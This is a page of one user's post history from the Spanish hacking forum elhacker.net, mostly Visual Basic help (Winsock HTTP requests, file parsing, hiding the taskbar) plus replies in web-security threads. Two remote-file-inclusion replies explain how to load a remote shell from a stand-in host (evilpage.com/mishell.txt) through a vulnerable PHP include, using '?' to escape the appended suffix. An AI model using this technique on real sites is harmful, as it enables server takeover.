elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 22
11  Programación / Programación Visual Basic / Re: enviar datos de visual basic a una pagina web en: 21 Marzo 2008, 00:56 am
Hmm, probemos:
Código
  1. Private Sub Form_Load()
  2. Dim segViejo&, segNuevo&, Segundos As Byte
  3. segViejo = Int(Timer)
  4. segNuevo = 0
  5. Ws.Connect "www.dequito.com", 80
  6. Segundos = 0
  7. Do
  8.    If segViejo <> segNuevo Then
  9.        segNuevo = segViejo
  10.        Segundos = Segundos + 1
  11.        If Segundos = 5 Then
  12.            MsgBox "Imposible conectar"
  13.            Exit Sub
  14.        End If
  15.    End If
  16.    segViejo = Timer
  17.    DoEvents
  18. Loop Until Ws.State = sckConnected
  19. MsgBox "Conectado con éxito"
  20. End Sub
  21.  
Lo que hace es un loop en el que comprueba si el estado del winsock es conectado, si es conectado muestra el mensaje de que se ha conectado con éxito, y si el estado no es conectado mientras se hace el bucle, comprueba si no han pasado mas de cinco segundos, lo puse arbitrario, porque creo que cinco segundos es mas o menos lo que debe tardar en realizarce la sola conexión, si te sale que es imposible conectarse, y con la página que diste quizas sea un error en una librería de código de tu compu, o reglas del firewall, en fin.
Si te conecta lo que queres decir es que no te está retornando el código html de la página. Para ello nos debemos fijar y seguir el protocolo:
GET /recurso HTTP/1.1
Host: www.dequito.com
Connection: Close

en visual:
Código
  1. Private Sub Form_Load()
  2. Dim segViejo&, segNuevo&, Segundos As Byte
  3. Dim Request$
  4. segViejo = Int(Timer)
  5. segNuevo = 0
  6. Ws.Connect "www.dequito.com", 80
  7. Segundos = 0
  8. Do
  9.    If segViejo <> segNuevo Then
  10.        segNuevo = segViejo
  11.        Segundos = Segundos + 1
  12.        If Segundos = 5 Then
  13.            MsgBox "Imposible conectar"
  14.            Exit Sub
  15.        End If
  16.    End If
  17.    segViejo = Timer
  18.    DoEvents
  19. Loop Until Ws.State = sckConnected
  20.  
  21. Request = "GET /recurso HTTP/1.1" & vbCrLf & _
  22.        "Host: www.dequito.com" & vbCrLf & _
  23.        "Connection: Close" & vbCrLf & vbCrLf
  24. Ws.SendData Request
  25. End Sub
  26.  
Todo el code y eso lo hice sin probar, así que puede que hayan errores, espero que no :P.
Mira haber si eso te sirve, sino es así, hace mucho publique acá un minimanual de este tipo de conexiones, quizas te sirva
Acá el link: http://foro.elhacker.net/index.php/topic,186798.0.html

Saludos
12  Seguridad Informática / Nivel Web / Re: duda con RFI....... en: 4 Marzo 2008, 01:38 am
lo que hace el "?" es que se ejecute la shell o no? :-\
No, lo que hace el "?", es separar la parte "real" de la parte "imaginaria"
Te explico más.
Tenes este código:
Código
  1. include $_GET['a'].'_template.php';
  2.  
La inclusión normal sería:
...?a=http://evilpage.com/mishell.txt

Pero si haces esto así normal, te saldría un error porque en realidad estaría incluyendo el archivo
http://evilpage.com/mishell.txt_template.php

Para hacerle el escape a eso y no incluya el archivo "mishell.txt_template.php", se utiliza el "?" que me parece que también se llama porción de consulta, que es la que contiene las variables get en la petición.
En total quedaría:
...?a=http://evilpage.com/mishell.txt?
y el resto que se incluye es como si fuera una variable get
include('http://evilpage.com/mishell.txt?_template.php'); Siendo _template.php una variable

¿Si no has podido ejecutar scripts como sabes q es vulnerable a RFI? Prueba a ejecutar un script básico como:
Código:
<?
echo "texto";
?>
Porque mira que warlock394 dijo: "pero no se ejecuta, simplemente muestra el codigo fuente de la shell"
Significa que no hay inclusión remota, que puede ser como dije mas arriba:
Código
  1. $pag = $_GET['pag_dest'];
  2. $a = fopen($pag, "r");
  3. echo fread($a,filesize($pag));
  4. fclose($a);
  5.  

modified.
y sorry por revivir el post pero no lo había visto, y me veía "obligado" a responder

saludos.
13  Programación / Programación Visual Basic / Re: <Como redireccionar mediante un formulario> en: 28 Febrero 2008, 01:24 am
El que sí funciona:
Código
  1. shell "explorer.exe http://www.elhacker.net"
  2.  

Pero la forma mas bonita es la que posteo Chefito
saludos

modified: ups
start www.elhacker.net directamente con shell no funciona, pero Shell("cmd.exe /c start " & "http://elhacker.net") sí.
aunque hago una crítica constructiva, sería mejor Shell "cmd.exe /c start http://elhacker.net" da el mismo resultado, pero el procesador hace "menos" operaciones...
14  Seguridad Informática / Desafíos - Wargames / Re: Para los caballeros de: Binari0s® en: 27 Febrero 2008, 23:57 pm
Fijate que hay dos paneles al ingresar, el de la izquiera es el panel del foro del respectivo reto, y el panel de la derecha son los retos en sí, tenes que empezar desde mas abajo, e ir ascendiendo. Me parece que el primer reto que tenes que hacer es firewall.

Saludos
15  Seguridad Informática / Desafíos - Wargames / Re: Aristoteles y el abogado (problema complicado) en: 27 Febrero 2008, 23:54 pm
Me equivoqué en vez de mandarte la respuesta la publiqué, pero la cambié a tiempo...

Y recuerden es -HadeS- no un tal HaDeS que quiere sacar crédito ajeno..
Que pasa pto, yo no he sacado crédito de nada, sos vos el que en un post dijiste que lo habías hecho fácil.
No necesito sacar crédito de nada, porque no lo necesito!

Modificado:
Ademas se nota que se te subió el ego, con eso de "recuerden que soy yo y no otro",  "el único que resolvió el reto fuí yo". Ve bajandote de esa nube en la que te montaste, porque desde lejos se nota que eres un pobre noob
16  Seguridad Informática / Nivel Web / Re: duda con RFI....... en: 7 Febrero 2008, 23:37 pm
...
la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.

$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro cmd se ejecutara con system y nos mostrara el resultado del comando.
...
Se ve que no tenes la mínima idea de php, con $_GET no se hace ninguna petición, con $_GET se retornan los valores de una variable identificada por nombre x en el GET de una petición.

Código:
GET /abc?a=123 HTTP/1.1
Host:...

Código
  1. $variable = $_GET['a'];
  2. echo $variable
  3.  

Respuesta: 123

Ademas él dice que se muestra el contenido del archivo, por lo que logicamente no se trata de una inclusión, sino de la lectura e impresión de datos como lo puse más arriba.

Si me respondias lo de "Explicame que hace exactamente el "?"
Saludos!, solo respondeme vos!"

Pues no respondiste lo que era.

Y de paso explico que es el ?
Lo que hay por delante del ? en las peticiones, es denominado porción de consulta, y es donde se encuentran las variables que se mandan al servidor. eso era todo, se utiliza el ? en las inclusiones, para que el sufijo que se le añade a la variable sea parte de la porción de consulta, y no sea incluido como un solo archivo.

Saludos
17  Programación / Programación Visual Basic / Re: Casi nada de Programación solo de Logica. :O en: 19 Diciembre 2007, 07:29 am
Si esa es toda la línea completa, intenta con esto a ver si te sale:
Código
  1. Private Sub Form_Load()
  2. Dim data As String
  3. Dim vdata As Variant
  4. Open "D:\Foros\SMF\Backup\localhost.sql" For Input As #1
  5. data = Input$(LOF(1), #1)
  6. Close #1
  7.  
  8. x = Split(data, vbCrLf)
  9. For i = 0 To UBound(x)
  10.    y = Split(x(i), ",")
  11.    Text2.Text = Text2.Text & Replace(y(1), "'", "") & vbCrLf
  12. Next i
  13.  
  14. End Sub
  15.  
Conteste tarde, entonces creo que ya sacó todos los datos manualmente xD
saludos!
18  Seguridad Informática / WarZone / Re: Para los Guerreros de: WarZone ! en: 28 Noviembre 2007, 06:18 am
http://www.samair.ru

Nada más que decir x'D
19  Programación / Programación Visual Basic / Re: ocultar las ventanas de conversacion de msn en: 15 Noviembre 2007, 04:07 am
A lo que se refiere lympex, es que al "List1.list" le tenes que pasar un parámetro que indica la posición del cursor sobre el listado, como no se puede agarrar todos los datos del list de una vez, tenes que hacer un bucle que recorra cada elemento de dicho list, así:
Código
  1. dim i%
  2. for i= 0 to list1.listcount
  3. Window = FindWindow(vbNullString, List1.List(i))
  4. 'funciones para mandar el archivo
  5. next i
  6.  
Y dado que le vas a mandar a cada contacto el archivo, te sugiero mejor que no se lo mandes a todos los contactos conectado, sino que escojas del list1 algunos contactos solamente, y que a esos solo les mande el file.

Código
  1. If (contacto.Status = 2) Or (contacto.Status = 10) Or (contacto.Status = 14) Or (contacto.Status = 34) Or (contacto.Status = 50) Or (contacto.Status = 66) Then
  2.  
Esa línea, la podes cambiar por algo más simple:
Código
  1. if contacto.status <> 1 then
  2.  
Ya que 1 representa un contacto offline, si contacto.status devuelve un valor diferente a uno, es porque tiene los demás estados del messenger.

Saludos ;)
20  Programación / Programación Visual Basic / Re: Barra de inicio en: 13 Noviembre 2007, 22:13 pm
Mira :P
Código
  1. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  2. Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
  3. Dim hwnd_taskbar
  4. Private Sub Command1_Click()
  5. SetWindowPos hwnd_taskbar, 0, 0, 0, 0, 0, &H80
  6. End Sub
  7.  
  8. Private Sub Command2_Click()
  9. SetWindowPos hwnd_taskbar, 0, 0, 0, 0, 0, &H40
  10. End Sub
  11.  
  12. Private Sub Form_Load()
  13. hwnd_taskbar = FindWindow("Shell_traywnd", "")
  14. End Sub
  15.  
Utilizamos primero la api FindWindow para buscar el handle de la barra de inicio, que tiene por nombre "Shell_traywnd", luego de esto, utilizamos el api SetWindowPos para definir una posición de tal handle. El &H80 es para esconder, y el &H40 para mostrar.
Si queres que se oculte automáticamente cuando inicie el programa, pones el código dentro del form_load y listo.

Saludos; :D
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 22
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines